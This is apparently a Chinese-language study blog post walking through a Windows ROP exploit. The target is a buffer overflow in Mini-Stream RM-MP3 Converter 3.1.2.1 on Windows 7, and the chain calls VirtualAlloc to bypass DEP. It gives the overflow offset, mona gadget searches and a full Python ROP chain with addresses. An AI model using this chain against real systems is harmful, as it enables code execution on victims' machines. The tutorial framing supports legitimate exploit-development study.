# Windows Exploit Development - ROP
終於進到現代漏洞利用最重要的 ROP 啦!
## ROP
因為在 linux 上做過不少次練習,我就不多說,簡單來說就是利用代碼片段( gadget ) 來連續控制程式達到想要的目的( ex. 開 shell 、解除 DEP 等等)
## 實驗環境
因為 XP 下沒有 DEP 的緣故,這次特別準備了 win 7 x64 sp1 ,其餘 immunity debug, mona 該準備的還是要有
這次的目標為 Mini-Stream RM-MP3 Converter 3.1.2.1 , exploit-db 有 [exploit](https://www.exploit-db.com/exploits/20116) 可以參考
※漏洞利用目標別在 exploit-db 上下載,他的版本是 2006 年,我猜內部有更動過,要找的話必須去[這裡](http://www.softsea.com/review/Mini-stream-RM-MP3-Converter.html)下載
※我不保證沒問題,不過他是在虛擬機應該還好
## 流程
windows 下的 ROP 通常是用 ROP 呼叫 VirtualAlloc, VirtualProtect 之類的 API 解除 memory region 的執行限制,然後把 shellcode 布置在 stack 或其他原本不可執行的地方,最後跳過去執行
> 不知道能否呼叫類似 system() 之類的 ?
>
基本上 x86 亦或是 x64 的程式 calling convention 應該是相同的,所以 windows 下的 x86 calling convention 跟 linux x86 下一樣都是透過 stack 傳遞參數,不用考慮太多 windows 和 linux 的差異
儘管 windows x86 也是一樣透過 stack 傳遞,具體方法還是分成兩派:
1. 先將 ROP 放到 reg 上,最後透過一個 pushad 壓到 stack 上
2. 直接將 ROP 擺到 stack 上
第二種看起來比較簡單,但因為實際案例上無法像 linux 的 pwn 題,直接傳遞諸如 \x00 之類的 byte (有截斷問題),故需要透過把值放進給 reg 再透過各種迂迴手段將值設定好後壓回 stack ,所以第一種會比較簡單一點
這個 case 中因為沒有 info leak ,無法得知 ASLR 的情況,所以必須找沒有 ASLR 的 module 找尋可利用的 gadget
`!mona modules`
借一下圖

從表中來看,能利用的大概只有 RM2MP3Conventer.exe 和 MSRMfilter03.dll 兩個 module ,又考慮到截斷問題,只剩下 MSRMfilter03.dll 能用
因為主要是呼叫 VirtualAlloc, VirtualProtect 之類的 API ,先搜尋一下他們的地址:
`!mona ropfunc -m MSRMfilter03.dll -cqb '\x00\x09\x0a'`
要注意到的是這邊顯示的地址是 VirtualAlloc 地址的地址,有點像是 GOT 的概念,所以到時候要呼叫前必須先依址取值
gadget 的部分透過以下命令查詢:
`!mona rop -m MSRMfilter03.dll -cqb '\x00\x09\x0a'`
這邊會生出幾個文件:
* rop:
各種 gadget
* rop_chains:
生成如何構造呼叫 VirtualAlloc, VirtualProtect 的 ROP chain ,簡單說就是直接講明 ROP 的分配
* rop_suggestions:
Module 的 API 地址的地址
* stack_pivot:
做到各種 stack pivot 的 gadget
其中會用到的主要是 rop 和 rop_chains
rop_chains 和教學文章中都提到關於 VirtualAlloc 的 register setup:
EAX = NOP (0x90909090)
ECX = flProtect (0x40)
EDX = flAllocationType (0x1000)
EBX = dwSize
ESP = lpAddress (automatic)
EBP = ReturnTo (ptr to jmp esp)
ESI = ptr to VirtualAlloc()
EDI = ROP NOP (RETN)
這些 register 擺放的目的全都是為之後的 pushad 將所有值 push 進 stack 用,但是後面的 alternative chain 目前還不太清楚意思
在找資料的過程發現[這篇](https://zhuanlan.zhihu.com/p/26175089)其中指出這種方式的 virtualalloc 無法跨頁申請,需要注意
這次的目標很單純的想要做 ROP 實驗,所以前面找 offset 那邊就略過不談,這邊給出相關 offset
```python
payload = "http://." + "A"*17416 + "B"*4 + "C"*7572
```
這個長度的 payload 是必須的,太少也會出錯
確定好 offset 後就可以開始構造 ROP chain ,我針對每個 register 做個 gadget 表,好幫助理解這些 chain 在幹嘛
有些 register 前後有相關,關於依賴性必須自己考慮
以下是我的擺法,大致上參考教學文章,一部分自己搞(教學文章有部分牽扯到 runtime 設定,個人覺得太吃運氣,所以改良一下):
1. edi:
edi 由上面的 register setup 得知,必須擺上 ROP NOP ,這個詞我想了好陣子才知道是 ROP 版本的 NOP ,也就是啥都不做進到下一個 gadget ,剛好 ret 有這樣的特性,所以就是擺上 ret 的 地址
※地址在 rop 內應該沒有,不過可以透過搜尋 gadget 地址後自己偏移一下
```python=+
rop += p32(0x1002be41) # pop edi; ret
rop += p32(0x10019c60) # &ret
```
2. edx:
edx 要放 0x1000,因為不允許出現 bad character ,所以不能直接 pop ,這邊的做法是利用`add edx, ebx`這樣一個 gadget 運算得出 0x1000
```python=+
rop += p32(0x1003fb3f) # mov edx, e58b0001; pop ebp; ret
rop += p32(0x10060058) # padding
```
這邊先把 edx 設定為 e58b0001 ,之後再用 ebx 做相加,padding 的部分之後解釋
```python=+
rop += p32(0x10021b81) # pop ebx; ret
rop += p32(0x1a750fff)
rop += p32(0x10029f3e) # add edx, ebx; ret 0x10
```
edx 因為 gadget 的關系強制為 0xe58b0001 ,所以 ebx 要設定為 0xe58b0001 + X = 0x1000 ,得到的是 0x1a750fff ,之後將兩者相加即可得到 0x1000
```python=+
rop += p32(0x10019c60)*7
```
因為是 ret 10 ,所以我直接擺一堆 &ret 當作 nop sled
3. ecx:
ecx 要擺的 0x40 也不能直接 pop 過去,必須靠其他運算
```python=+
rop += p32(0x10027eab)
rop += p32(0xffffffff)
```
先將 ecx 設定為 -1
```python=+
rop += p32(0x10031d7e) # inc ecx; and eax, 8; ret
rop += p32(0x10031d7e) # same with above
```
利用 inc 將 ecx 設定為 1 ,因為該 gadget 和 eax 有相依性,所以 eax 放到後面設定
```python=+
rop += p32(0x1002a487)*6
```
利用 2^6 = 64 將 ecx 設為 0x40
4. esi:
esi 的部分要依址取值,比較麻煩一點
```python=+
rop += p32(0x1002f3af) # pop eax; ret
rop += p32(0x1005d060) # & virtualalloc
```
這邊要利用`mov eax, dword ptr ds:[eax]`這個 gadget
```python=+
rop += p32(0x10027f59) # mov eax, dword ptr ds:[eax]
rop += p32(0x1005bb8e) # push eax; add dword ptr ds:[ebp + 5], esi; push 1; pop eax; pop esi; ret
```
雖然有點長,但可以看到 line 17 有用的是 `push eax` 和 `pop esi` 兩個而已,因為中間有個 `add dword ptr ds:[ebp + 5]` 所以 line 4 要找個可以寫入的地址,考慮到 ASLR 的關系,我一樣找 MSRMfilter03.dll 的 data section ,從而保證地址不會改變
5. eax:
eax 的部分很簡單,將 0x90909090 pop 給 eax 即可
```python=+
rop += p32(0x1002f3af) # pop eax; ret
rop += p32(0x90909090)
```
6. ebx:
ebx 的部分設為 1 即可
```python=+
rop += p32(0x10021b81) # pop ebx; ret
rop += p32(0xffffffff)
rop += p32(0x100319d3) # inc ebx; xxxx; ret
rop += p32(0x100319d3) # same with above
```
老樣子,先設為 -1 再 inc 兩次就變成 1 了
※ xxxx 表示無關指令
7. ebp:
最後一個 ebp 要設為 jmp 到 esp 上,可以透過`!mona jmp -r ESP -m MSRMfilter03.dll -cqb '\x00\x09\x0a'` 搜尋
```python=+
rop += p32(0x10036280) # pop ebp; ret
rop += p32(0x100371f5) # call esp addr
```
8. pushad:
最後就是將 register 全 push 到 stack
```python=+
rop += p32(0x10014720) # pushad; ret
```
pushad 會以以下順序 push 進 stack:
1. eax
2. ecx
3. edx
4. ebx
5. esp
6. ebp
7. esi
8. edi
> 我發現這其實是 immunity debugger register 排列的樣子
故當`ret`時, esp 指向的是 edi ,也就是 &ret ,當然因為 ret 是 rop nop 所以沒有作用,移到下一個也就是 esi ,這邊以下剛好形成 call VirtualAlloc 的 function call layout
等 VirutalAlloc 執行完會跳到 eax 也就是 0x90909090 從這邊開始執行 shellcode
大致上 windows 的 ROP 就是長這樣
之後可能嘗試一下 VirtualProect 吧...